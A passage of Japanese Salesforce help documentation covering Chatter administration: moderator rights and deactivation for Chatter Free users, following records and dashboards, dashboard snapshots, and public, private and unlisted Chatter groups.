Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter Free ユーザにモデ
レータ権限を割り当てる
• 「Chatter のモデレー

ト」

モデレータとして、組織内の Chatter Free ユーザにモデレータ権限を割り当てる
ことができます。必要に応じて、その権限を取り消すこともできます。
1. [人] タブまたはフィードで名前をクリックすると、そのユーザの [プロファイ

ル] ページに移動します。
2. プロファイルページのユーザアクションメニューから、次のアクションを実

行できます。

• ユーザをモデレータにする場合、[モデレータ権限を追加]を選択します。
• ユーザがモデレータの場合にその権限を取り消す場合、[モデレータ権限

を削除] を選択します。

関連トピック:

Chatter グループロールの変更
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Chatter Free ユーザの無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter Free ユーザを無効
にする
• 「Chatter のモデレー

ト」

モデレータの場合、Chatter Freeユーザが退社した場合などに、そのユーザを無効
にすることができます。
1. [人] タブまたはフィードで名前をクリックすると、そのユーザの [プロファイ

ル] ページに移動します。
2. プロファイルページのユーザアクションメニューで、[ユーザを無効化] をク

リックします。

Chatter Freeユーザをもう一度有効にする必要がある場合は、無効化されたユーザ
は [人] タブに表示されないため、グローバル検索でプロファイルを検索する必
要があります。ユーザを有効にする手順は、次のとおりです。
1. グローバル検索を使って、ユーザのプロファイルを検索します。
2. プロファイルページで [ユーザの管理] をクリックして [ユーザを有効化] を選択します。

関連トピック:

Chatter グループの所有者が無効化されているとどうなりますか?

レコードおよびリストビュー
レコードのフォロー設定を構成し、リストビューの Chatter フィードを確認します。レコードの推奨事項につい
ても詳しく説明します。

自分が作成したレコードの自動フォロー
自分が作成したレコードをフォローすると、自分か他のユーザがそのレコードの追跡項目を変更した場合
に更新が Chatter フィードに送信されます。
レコードフィードの表示
自分がフォローしているレコードに関する更新を確認するには、そのレコードに関連付けられているChatter

フィードを表示します。
フォローしているレコードのカスタムレポートを作成できますか?

自分が所有するレコードを他のユーザはフォローできますか?

おすすめレコード
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リストビューでの Chatter フィードの表示
リストビューから直接オブジェクトの Chatter フィードに切り替えて、リストビューに含まれるレコードの
更新情報を表示します。
リストビューを Chatter のお気に入りとして追加する
リストビューをChatterのお気に入りとして追加して、[Chatter]タブから直接、主要なビジネスプロセスを監
視します。

自分が作成したレコードの自動フォロー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

レコードを参照する
• レコードに対する「参

照」

自分が作成したレコードをフォローすると、自分か他のユーザがそのレコード
の追跡項目を変更した場合に更新が Chatter フィードに送信されます。
デフォルトでは、自分が作成したレコードを自動的にフォローしません。作成
したレコードを自動的にフォローする場合は、Chatter 設定で自動フォローを有
効にします。
1. 個人設定から、[クイック検索]ボックスに「私のフィード」と入力し、[私の

フィード] を選択します。
2. [作成したレコードを自動的にフォローする] を選択します。
3. [保存] をクリックします。
レコードの自動フォローに関する次のヒントに留意してください。
• 子レコードを作成すると、デフォルトで親レコードの所有者がその子レコー

ドの所有者になります。そのため、親レコードの所有者でない場合は、その
子レコードを自動的にフォローしません。

• レコードの [取引先所有者] 項目を更新すると、取引先所有者が変更されま
す。[取引先所有者]項目がフィード追跡されていて、新しい取引先所有者の
自動フォローが有効になっている場合、新しい取引先所有者は取引先のみを
自動的にフォローします。

• レコードの作成時にワークフローで [取引先所有者] 項目が変更されると、
レコードを作成したユーザは取引先を自動的にフォローしません。
次のシナリオについて考えます。レコードを作成しているとします。レコードを保存すると、すぐに [取
引先所有者] 項目を別のユーザに再割り当てしてからレコードを保存するワークフローが開始されます。
つまり、このワークフローでは、レコードが保存される前に [取引先所有者]項目が変更されます。この場
合、厳密にはレコードを作成していますが、レコードの所有者ではなかったので、レコードを自動的にフォ
ローしません。

関連トピック:

レコードフィードの表示
おすすめレコード

3704

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



レコードフィードの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

自分がフォローしているレコードに関する更新を確認するには、そのレコード
に関連付けられている Chatter フィードを表示します。
レコードフィードを使用すると、アクセス権があるレコードの情報を追跡でき
ます。レコード詳細ページで [フィードを表示] をクリックすると、取引先の詳
細の上にレコードフィードが表示されます。

メモ: アクセス権はすべて重要です。たとえば、レコードを再割り当てし
て、レコードに更新が必要であることを認識したとします。多くの場合、
レコードを開いて更新できます。しかし、再割り当て後にアクセス権がな
くなった場合、レコードの表示や更新はできません。

レコードフィードでは、次の操作が可能です。
• 投稿、コメント、および追跡されている項目の変更を表示する。
• レコードに関する更新を作成し、レコードをフォローしている他のユーザと

共有する。
レコード詳細ページの更新は、レコードをフォローしているユーザの Chatter ページにも表示されます。レ
コードにアクセスできるユーザは誰でも [すべての会社] (Salesforce Classic) フィードの更新を参照できます。
更新の人気度ランキングやエンゲージメント (コメント、いいね!、参照など) によっては更新が [会社の特
長] (Lightning Experience) フィードに表示されることがあります。

• レコードをフォローしているユーザを表示する。
• レコードフィードを検索する ( )。

メモ: フィード内のレコード項目の変更は、検索結果には含まれません。

フォローしているレコードのカスタムレポートを作成できますか?

現在、Chatter でフォローしているレコードに基づいてレポートをカスタマイズすることはできません。

関連トピック:

最初に自動フォローする人とレコード

自分が所有するレコードを他のユーザはフォローできますか?

はい。その人がレコードを参照できている場合は、フォローできます。人がフォローできるのは参照できるレ
コードのみで、したがって参照できるレコードの更新のみを確認できます。

関連トピック:

おすすめレコード

3705

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



おすすめレコード

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

レコードのフォローにより、取引先、取引先責任者、商談、その他の重要な変
更の最新状況を知ることができます。Chatter は、参照または編集したことがあ
るレコード、(まだフォローしていない) 自分が所有するレコード、および自分が
フォローしているレコードの親取引先をおすすめします。
Chatterでは、Salesforceシステム管理者がフィード追跡を無効にしたレコードはお
すすめしません。おすすめレコードに含まれるのは、商談、取引先、リード、
取引先責任者、記事のみです。
おすすめの拡張リストを表示するには、[おすすめ] セクションの[さらに表示]を
クリックします。オブジェクトごとのおすすめレコードを表示するには、横の
検索条件のオブジェクトをクリックします。たとえば、[取引先]をクリックする
と取引先のおすすめのみが表示されます。
おすすめが表示されない場合は、すべてのおすすめレコードをすでにフォロー
しています。

関連トピック:

レコードフィードの表示

リストビューでの Chatter フィードの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

リストビューから直接オブジェクトの Chatter フィードに切り替えて、リスト
ビューに含まれるレコードの更新情報を表示します。
組織で Chatter が有効になっている場合は、ほとんどのフィード追跡オブジェク
トに関する Chatter フィードをリストビューで利用できます。フィード追跡オブ
ジェクトの中には、リストビューに関連付けられた Chatter フィードがないもの
もあります。現在、商談、取引先、ケース、リード、キャンペーン、取引先責
任者、およびカスタムオブジェクトに関する Chatter フィードをリストビューに
表示できます。
• 標準オブジェクトまたはカスタムオブジェクトのリストビューで [フィー

ド] をクリックすると、リストビューに含まれるレコードの過去 30 日分の更
新情報が Chatter フィードに表示されます。
リストビューでドラッグアンドドロップによるスケジュールが有効な場合、
リストビューに取引先、取引先責任者、リードに関するChatterフィードは表
示されません。

• リストビューを再表示するには、[リスト] をクリックします。

関連トピック:

レコードフィードの表示
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リストビューを Chatter のお気に入りとして追加する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

リストビューをChatterのお気に入りとして追加して、[Chatter]タブから直接、主
要なビジネスプロセスを監視します。
1. 取引先、商談、リードなどで既存のリストビューを開くか、レコードセット

のリストビューを作成します。
2. 右上隅の [フィード] をクリックして、リスト項目の Chatter 更新を表示し

ます。
3. [お気に入りに追加] をクリックします。

[Chatter] タブでのお気に入りの名前は、リストビュー名と同じになります。

関連トピック:

レコードフィードの表示

ダッシュボードおよびダッシュボードコンポーネント

ダッシュボードおよびダッシュボードコンポーネントのフォロー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを参照す
る
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボードでフィード追跡が有効な場合、Chatter フィードの更新や項目の
変更を確認できます。
アラートの生成には、絞り込まれていないデータのみが使用されます。これに
より、絞り込みの結果としてブレークポイントにわたってコンポーネントの値
が表示されるため、アラートが (間違って) 送信されるのを回避できます。
ダッシュボードにフィードが表示されない場合は、ダッシュボードのフィード
追跡を有効にするようシステム管理者に依頼してください。
たとえば、ゲージの売上総額が特定の金額を下回るとアラートを受け取るよう
にするには、そのコンポーネントに条件付き強調表示を設定して、フォローし
ます。
1. ダッシュボードをフォローするには、[フォロー] をクリックします。

Salesforce Classic でダッシュボードをフォローすると、すべての対象コンポー
ネントが自動的にフォローされます。
Lightning Experience でダッシュボードをフォローすると、コンポーネントは
フォローされません。

2. 特定のダッシュボードコンポーネントをフォローする必要がある場合には、
Salesforce Classic に切り替えます。コンポーネントの上にマウスポインタを置
いて、 メニューを表示します。続いて、[このコンポーネントをフォ
ロー] をクリックします。
フロート表示メニューをクリアするには、画面の空白の部分をクリックします。

コンポーネントのフォローを停止するには、 をクリックして、[フォローしている] を選択します。

3707

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



ダッシュボードおよびダッシュボードコンポーネントのフォローについて、次の制限に注意してください。
• Lightning Experience では、コンポーネントのフォローはサポートされていません。ダッシュボードコンポー

ネントをフォローするには、Salesforce Classic に切り替えます。
• 動的ダッシュボードでは、次のコンポーネントはサポートされません。

関連トピック:

レコードフィードの表示

ユーザフィードおよびグループフィードへのスナップショットの投稿について

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンポーネントのスナップショットを Chatter フィードに投稿するときには、誰
とそのコンポーネントを共有するか、また誰がそのコンポーネントにコメント
するかを考慮します。
スナップショットとは、Chatter フィードに投稿された特定の時点でのダッシュ
ボードコンポーネントの静的な画像です。コンポーネントのスナップショット
をユーザフィードまたはグループフィードに投稿して、そのコンポーネントを
共有したり、コンポーネントにコメントしたりできます。たとえば、今月の売
上のスナップショットをチームに投稿します。
各スナップショットには「次のユーザとして参照中」表示ラベルがあります。
これは、参照しているダッシュボードコンポーネントを実行しているユーザの
名前です。
条件設定済みコンポーネントのスナップショットを投稿することもできます
(Visualforce または Sコントロールコンポーネントを除く)。閲覧者がフィードのス
ナップショットタイトルをクリックすると、検索条件がまだ有効な場合は、絞り込まれたダッシュボードが表
示されます。検索条件が無効の場合は、絞り込まれていないダッシュボードが表示されます。
スナップショットを投稿するオプションが表示されない場合は、ダッシュボードコンポーネントのスナップ
ショットを有効にするように、システム管理者に依頼してください。

重要: スナップショットをユーザフィードまたはグループフィードに投稿すると、そのスナップショット
を組織全体で表示できるようになります。
• スナップショットをユーザフィードに投稿すると公開されます。そのユーザのプロファイルを表示し

たユーザは誰でもスナップショットを表示できます。
• スナップショットを公開グループに投稿すると公開されます。公開者のプロファイルまたはグループ

フィードを表示したユーザは誰でもスナップショットを表示できます。
• スナップショットを非公開グループに投稿すると、グループメンバー全員に表示されます。
ユーザは、自分にダッシュボードへのアクセス権があるかどうかを確認できます。コンポーネントに機
密情報が含まれていないことを確認してください。

関連トピック:

ダッシュボードおよびダッシュボードコンポーネントのフォロー
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Chatter へのダッシュボードコンポーネントのスナップショットの投稿

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを参照す
る
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボードコンポーネントのスナップショットを Chatter フィードに投稿し
て、他のユーザがデータの変更をフォローできるようにします。
スナップショットとは、Chatter フィードに投稿された特定の時点でのダッシュ
ボードコンポーネントの静的な画像です。
• ダッシュボードフィードにコンポーネントのスナップショットを投稿して、

そのダッシュボードをフォローするすべてのユーザと情報を共有します。た
とえば、地域別売上グラフのスナップショットを投稿すると、チームは、中
西部の売上が落ちていることを把握できます。

• コンポーネントのスナップショットをユーザフィードまたはグループフィー
ドに投稿して、そのユーザまたはグループからのコメントやアクションを引
き起こします。

各スナップショットには「次のユーザとして参照中」表示ラベルがあります。
これは、参照しているダッシュボードコンポーネントを実行しているユーザの
名前です。
条件設定済みコンポーネントのスナップショットを投稿することもできます
(Visualforce または Sコントロールコンポーネントを除く)。閲覧者がフィードのス
ナップショットタイトルをクリックすると、検索条件がまだ有効な場合は、絞
り込まれたダッシュボードが表示されます。検索条件が無効の場合は、絞り込
まれていないダッシュボードが表示されます。
ダッシュボードにフィードが表示されない場合は、ダッシュボードのフィード
追跡を有効にするようシステム管理者に依頼してください。
1.

Salesforce Classic: コンポーネントの上にマウスポインタを置いて、 メニューを表示します。
フロート表示メニューをクリアするには、画面の空白の部分をクリックします。
Lightning Experience: [ ] をクリックしてコンポーネントを展開し、[共有] をクリックします。

2. Salesforce Classic: スナップショットを表示する場所を選択します。
• ダッシュボードで表示するには、[スナップショットをダッシュボードフィードに投稿]をクリックしま

す。
• ユーザまたはグループに表示するには、[スナップショットをユーザフィードまたはグループフィード

に投稿] をクリックします。
Lightning Experience: スナップショットを共有する場所を選択します。
• ダッシュボードフィードで共有するには、[このダッシュボード] をクリックします。
• グループと共有するには、[グループ] をクリックします。
• 自分のフィードで共有するには、[私をフォローしている人] をクリックします。

3. テキストボックスにコメントを入力します。Salesforce Classicでは、[OK]をクリックします。Lightning Experience

では、[投稿] をクリックします。条件設定済みコンポーネントを投稿する場合、コメントでそのことに言
及できます。
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ダッシュボードフィード、ユーザフィード、またはグループフィードにスナップショットとコメントがすぐに
表示されます。

メモ: スナップショットの画像はフィードに 4 か月間表示されます。4 か月を過ぎると、コメントのみが
表示されます。

Chatter グループでのコラボレーション
公開、非公開、およびリストに記載しない Chatter グループを使用して、社内の特定の人とコラボレーションし
ます。

Chatter グループ
Chatter グループを使用すると、特定のユーザとコラボレーションできます。たとえば、チームプロジェク
トに取り組んでいる場合、チームのグループを作成して、プロジェクト関連のファイルと情報を共有でき
ます。Lightning Experience のグループフィードはリアルタイムで更新されるライブフィードです。ページを
更新する必要はありません。
リストに記載しないグループの概要
リストに記載しないグループは、非公開グループと比較して、プライバシーがさらに確保されます。グルー
プメンバーおよび「リストに記載しないグループの管理」権限を持つユーザのみが、リストビュー、フィー
ド、および検索結果で、リストに記載しないグループにアクセスできます。
Chatter の [グループ] ページの使用
[グループ] ページには、会社内の Chatter グループのリストが表示されます。
グループへの参加または脱退
プロジェクトや関心のある共通領域について他のユーザとコラボレーションするには、グループに参加し
ます。プロジェクト関連のファイルや情報をグループと共有できます。

Chatter グループ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter グループを使用すると、特定のユーザとコラボレーションできます。た
とえば、チームプロジェクトに取り組んでいる場合、チームのグループを作成
して、プロジェクト関連のファイルと情報を共有できます。Lightning Experience

のグループフィードはリアルタイムで更新されるライブフィードです。ページ
を更新する必要はありません。
最大300グループに参加できます。会社では、合計30,000のグループを作成でき
ます。Chatter グループには、異なるアクセスレベルがあります。
• 公開: 誰でも投稿、コメント、ファイルの表示および追加ができます。公開

グループには誰でも参加できます。
• 非公開: グループメンバーのみが、投稿、コメント、ファイルを表示および

追加できます。ユーザは、参加を要請するか、グループの所有者またはマ
ネージャにより追加してもらう必要があります。「すべてのデータの編集」
および「すべてのデータの参照」権限を持つユーザは、組織全体のグループ
の投稿、更新、ファイルを参照できます。「すべてのデータの管理」権限を
持つユーザは、直接非公開グループに参加し、グループの設定を変更することもできます。
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• リストに記載しない: グループメンバーおよび「リストに記載しないグループの管理」権限を持つユーザの
みが、投稿、コメント、ファイルを表示および追加できます。ユーザは、参加を要求できず、グループの
所有者またはマネージャから招待される必要があります。リストに記載しないグループではプライバシー
がさらに確保され、メンバー以外は、リストビュー、フィード、および検索結果で、リストに記載しない
グループの参照およびアクセスはできません。リストに記載しないグループはデフォルトでは使用できま
せん。システム管理者が組織で有効にする必要があります。

• 必要に応じて、[顧客を許可] を選択します。グループ所有者とマネージャは顧客を非公開グループまたは
リストに記載しないグループに参加するように招待できます。顧客を含むグループは写真の左上隅がオレ
ンジ色になっているため、簡単に識別できます。
グループで顧客を許可した後は、グループアクセスレベルを変更できません。

システム管理者がアーカイブ機能を有効にしている場合、一部のグループがアーカイブされる可能性がありま
す。グループがアーカイブされると、ユーザは投稿を作成できませんが、グループデータが参照用に保持され
ます。

メモ: ライブグループフィードは Lightning Experienceの新機能です。機能強化には多くの可能性があり、ま
たいくつかの既知の問題もあります。
• グループに投稿されたコンテンツはライブですが、メンションはライブではありません。グループ A

に投稿する場合、投稿はライブです。別のフィードでグループ A をメンションした場合、そのメンショ
ンを表示するにはページを更新する必要があります。

• グループに新規投稿が行われた場合は、Lightning Experience でのみ通知を受信します。
• 開いているフィード投稿に新規コメントが書き込まれた場合、コメントを入力中かコメントボックス

内をクリック済みのときにのみ Lightning Experience で通知を受信します。
• ライブフィードでサポートされる参加者数は、組織の登録制限によって異なります。ライブグループ

フィードやライブコメントが使用できない場合は、ページを更新するか、コメント項目をクリックし
ます。それでもフィードがライブにならない場合は、組織の制限に達したということになります。
ページを更新すれば、従来の方法でコメントを更新できます。

• グループフィードを開いているのにライブになりそうもない場合、それは今後解消される既知の問題
です。

関連トピック:

Chatter グループロールによって実行可能なアクション
非公開グループの Chatter 顧客について
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リストに記載しないグループの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リストに記載しないグループは、非公開グループと比較して、プライバシーが
さらに確保されます。グループメンバーおよび「リストに記載しないグループ
の管理」権限を持つユーザのみが、リストビュー、フィード、および検索結果
で、リストに記載しないグループにアクセスできます。
リストに記載しないグループは、メンバーのみがリストに記載しないグループ
の詳細ページ、フィード、またはファイルを参照できるという点で非公開グルー
プに似ています。ただし、リストに記載しないグループは、非公開グループよ
りも秘匿性が高くなっています。
• リストに記載しないグループは、メンバー以外のユーザのリストビュー、

フィード、および検索結果には表示されません。メンバーと「リストに記載
しないグループの管理」権限を持つユーザのみが、リストに記載しないグ
ループの検索やアクセスを行うことができます。

• メンバー以外のユーザはグループ詳細ページにアクセスできません。
非公開グループの場合、メンバー以外のユーザは詳細ページの簡易版を参照できます。この簡易版では、
名前、説明、メンバーリストは表示されますが、フィードやファイルは表示されません。

• リストに記載しないグループを公開または非公開グループに変換できますが、その逆はできません。
• グループ所有者、グループマネージャ、および「リストに記載しないグループの管理」権限を持つユーザ

のみが、グループメンバーを追加できます。ユーザは参加を要求できません。
• ユーザにリストに記載しないグループへのアクセス権がない場合は、他のユーザプロファイルにそのグルー

プは表示されません。
• リストに記載しないグループで共有されているファイルは、そのグループのメンバーにのみ表示されます。

ファイルがリストに記載しないグループ以外で共有されている場合、権限を持つ他のユーザがファイルを
更新できます。

• 「すべてのデータの編集」権限または「すべてのデータの参照」権限があるユーザでも、メンバーでなけ
れば、リストに記載しないグループまたはそのファイルにアクセスできません。また、そのグループを所
有するか、管理していない限り、グループ設定を変更できません。

• 「リストに記載しないグループの管理」権限を持つユーザのみが、メンバーでなくても、リストに記載し
ないグループとそのファイルおよびフィードコンテンツへのアクセスまたは変更ができます。

制限事項
リストに記載しないグループを作成する場合、必ず次の制限事項を考慮してください。
• カスタムページまたは Salesforce と統合されたサードパーティアプリケーションは、Salesforce UI を使用して

アクセスできないユーザに、リストに記載しないグループの情報を公開できます。組織のリストに記載し
ないグループの情報にアクセスできるユーザに関して、システム管理者に連絡します。

• リストに記載しないグループで、トピックは使用できません。リストに記載しないグループに投稿または
コメントを記載する際に、ハッシュタグトピックを追加することができます。このトピックは、投稿後に
リンクとして書式設定されます。ただし、トピック詳細ページは作成されず、リンクは機能しません。
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• 投稿やコメントで、リストに記載しないグループにメンションできません。

関連トピック:

リストに記載しない Chatter グループの有効化
リストに記載しないグループの制限

Chatter の [グループ] ページの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

[グループ] ページには、会社内の Chatter グループのリストが表示されます。
Chatter グループのリストを表示するには、Chatter ページのサイドバーにある [グ
ループ] をクリックします。[グループ] ページでは、次の操作を実行できます。
新規グループの作成

[新規グループ] をクリックして [新規グループ] ページにアクセスし、グルー
プを作成する。

グループリストのフィルタと並び替え
次のフィルタを使用してグループをフィルタする。
• [最近参照したデータ]では最近参照したグループを表示します。最後に参

照したグループが一番上に表示されます。
• [私のグループ]では、ユーザが所属、所有、または管理するグループを表

示します。
• [有効なグループ] では会社の有効なグループを表示します。
• [アーカイブ済みの私のグループ]では、ユーザが所属、所有、または管理するアーカイブ済みグループ

を表示します。
列ヘッダーをクリックしてリストを並び替える。[グループ] 列はグループ名により、[最終活動日] 列はグ
ループへの最後の投稿またはコメントの日付により、[メンバー] 列はメンバーの状況により、それぞれ並
び替えられます。

グループの検索
グループを検索するには、[グループを検索] ボックスにグループ名または説明を 2 文字以上で入力する。
リストは入力内容に基づいて自動的にフィルタされます。

グループの表示
グループ名をクリックしてグループを表示する。すべてのグループを表示できますが、更新とファイルを
表示できるのは、公開グループと自分が所属する非公開グループのみです。顧客を許可するグループには
(顧客と) と示されます。

公開グループへの参加または非公開グループへの参加要求
[参加]をクリックして公開グループに参加する。非公開グループの場合は、[参加を要請]をクリックして、
グループの所有者およびマネージャに参加要求をメールで送信します。「すべてのデータの編集」権限を
持つユーザは、直接非公開グループに参加できるため、非公開グループに対して [参加] が表示されます。

グループからの脱退またはグループへの参加要求の取り下げ
をクリックして、グループから脱退するか、グループへの参加要求を取り下げる。

グループ所有者のプロファイルの表示
グループ所有者の名前をクリックして、所有者のプロファイルを表示する。
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グループのおすすめの入手
[おすすめ] セクションで、グループの人気とグループ内での接続数に基づいて Chatter が参加を推奨するグ
ループを確認する。リスト全体を表示するには、[さらに表示] をクリックします。推奨グループが表示さ
れない場合、すでにユーザは推奨されるすべてのグループに属しています。

関連トピック:

[グループファイル] リスト

グループへの参加または脱退

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

プロジェクトや関心のある共通領域について他のユーザとコラボレーションす
るには、グループに参加します。プロジェクト関連のファイルや情報をグルー
プと共有できます。
1. グループの詳細ページに移動します。
2. 公開グループに参加するには、[参加] または [グループに参加] をクリックし

ます。非公開グループに参加するには、[参加を要請] をクリックします。こ
の要求を承諾または拒否する非公開グループの所有者またはマネージャに要
求が送信されます。

最大300グループに参加できます。アーカイブ済みグループを除く、すべてのグ
ループがこの制限にカウントされます。たとえば、300 グループ (そのうち 10 グ
ループはアーカイブ済み) のメンバーになっている場合、さらに 10 グループに参
加できます。
参加したグループから脱退するか、非公開グループへの参加要求を取り下げる
には、グループ詳細ページに移動し、 または [グループを脱退] をクリックし
ます。これらのオプションが表示されない場合は、ページレイアウトの調整を Salesforce のシステム管理者に依
頼してください。
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グループの作成と管理

Chatter グループの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

グループを作成する
• 「新しい Chatter グ

ループを作成して、所
有する」

チームと共同でプロジェクトに取り組むには、公開、非公開、およびリストに
記載しない Chatter グループを作成します。
1. グループのリストに移動します。

• Salesforce Classic では、[グループ] タブをクリックします。
•

Lightning Experience では、ナビゲーションメニューで をクリックしま
す。

2. 右上の [新規グループ] をクリックして、グループ名と説明を入力します。

メモ: グループ名は、公開グループおよび非公開グループ間で一意であ
る必要があります。リストに記載しないグループの名前は一意である必
要はありません。
コミュニティが有効になっている場合、公開グループ名と非公開グルー
プ名はコミュニティ内で一意である必要があります。

3. アクセスレベルを選択します。
• 公開: 誰でも投稿、コメント、ファイルの表示および追加ができます。公開グループには誰でも参加で

きます。
• 非公開: グループメンバーのみが、投稿、コメント、ファイルを表示および追加できます。ユーザは、

参加を要請するか、グループの所有者またはマネージャにより追加してもらう必要があります。「すべ
てのデータの編集」および「すべてのデータの参照」権限を持つユーザは、組織全体のグループの投
稿、更新、ファイルを参照できます。「すべてのデータの管理」権限を持つユーザは、直接非公開グ
ループに参加し、グループの設定を変更することもできます。

• リストに記載しない: グループメンバーおよび「リストに記載しないグループの管理」権限を持つユー
ザのみが、投稿、コメント、ファイルを表示および追加できます。ユーザは、参加を要求できず、グ
ループの所有者またはマネージャから招待される必要があります。リストに記載しないグループではプ
ライバシーがさらに確保され、メンバー以外は、リストビュー、フィード、および検索結果で、リスト
に記載しないグループの参照およびアクセスはできません。リストに記載しないグループはデフォルト
では使用できません。システム管理者が組織で有効にする必要があります。
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• 必要に応じて、[顧客を許可]を選択します。グループ所有者とマネージャは顧客を非公開グループまた
はリストに記載しないグループに参加するように招待できます。顧客を含むグループは写真の左上隅が
オレンジ色になっているため、簡単に識別できます。
グループで顧客を許可した後は、グループアクセスレベルを変更できません。

4. システム管理者がグループアーカイブを有効にしている場合、必要に応じてグループの自動アーカイブ設
定を変更します。無操作状態の延長期間に関係なく、グループが常に有効になっている必要がある場合に
のみ、自動アーカイブを無効にします。

5. [保存] をクリックします。

メモ: 作成者がグループの所有者になります。新しい所有者を割り当てるには、グループの作成を終了し
てから、グループ設定を編集します。

関連トピック:

グループのアクセスレベルを変更できますか? たとえば、非公開グループを公開にできますか?
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グループ設定の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

公開または非公開 Chatter
グループを編集する
• グループ所有者または

グループマネージャ
ロール

または

公開および非公開グ
ループを編集するため
の「すべてのデータの
編集」

または

リストに記載しないグ
ループを編集するため
の「リストに記載しな
いグループの管理」

グループ設定を編集して、所有者の変更、アーカイブ設定とグループアクセス
権の変更、およびグループの削除を実行できます。
所有または管理する Chatter グループの設定を編集できます。
1. Salesforce Classic では、グループ詳細ページで [グループ設定] をクリックしま

す。Lightning Experience では、グループヘッダーの [グループを編集] ボタンを
クリックします。

2. 必要に応じて、グループ名や説明を編集します。
3. 必要に応じて、名前を入力するか、ルックアップアイコンをクリックして新

しい [所有者]を割り当てるグループメンバーを検索します。所有者を変更で
きるのは、現在の所有者か「すべてのデータの編集」権限を持つユーザのみ
です。既存のメンバーから所有者を選択する必要があります。顧客はグルー
プを所有できません。

4. システム管理者がグループのアーカイブを有効にしている場合、必要に応じ
てグループの自動アーカイブ設定を編集します。無操作状態の延長期間に関
係なく、グループが常に有効になっている必要がある場合にのみ、自動アー
カイブを無効にします。

5. 必要に応じて、グループのアクセス権を変更します。たとえば、リストに記
載しないグループをより幅広い利用者に公開する場合、公開または非公開グ
ループに変換できます。

メモ: 非公開グループを公開グループに変更すると、更新とファイルは
すべてのユーザに表示され、グループへの保留中の参加要求はすべて承
諾され、そのグループには誰でも参加可能になります。顧客を含む非公
開グループは、他の種類のグループに変換できません。

• 公開: 誰でも投稿、コメント、ファイルの表示および追加ができます。公
開グループには誰でも参加できます。

• 非公開: グループメンバーのみが、投稿、コメント、ファイルを表示およ
び追加できます。ユーザは、参加を要請するか、グループの所有者また
はマネージャにより追加してもらう必要があります。「すべてのデータ
の編集」および「すべてのデータの参照」権限を持つユーザは、組織全
体のグループの投稿、更新、ファイルを参照できます。「すべてのデータの管理」権限を持つユーザ
は、直接非公開グループに参加し、グループの設定を変更することもできます。

• リストに記載しない: グループメンバーおよび「リストに記載しないグループの管理」権限を持つユー
ザのみが、投稿、コメント、ファイルを表示および追加できます。ユーザは、参加を要求できず、グ
ループの所有者またはマネージャから招待される必要があります。リストに記載しないグループではプ
ライバシーがさらに確保され、メンバー以外は、リストビュー、フィード、および検索結果で、リスト
に記載しないグループの参照およびアクセスはできません。リストに記載しないグループはデフォルト
では使用できません。システム管理者が組織で有効にする必要があります。

• 必要に応じて、[顧客を許可]を選択します。グループ所有者とマネージャは顧客を非公開グループまた
はリストに記載しないグループに参加するように招待できます。顧客を含むグループは写真の左上隅が
オレンジ色になっているため、簡単に識別できます。
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グループで顧客を許可した後は、グループアクセスレベルを変更できません。

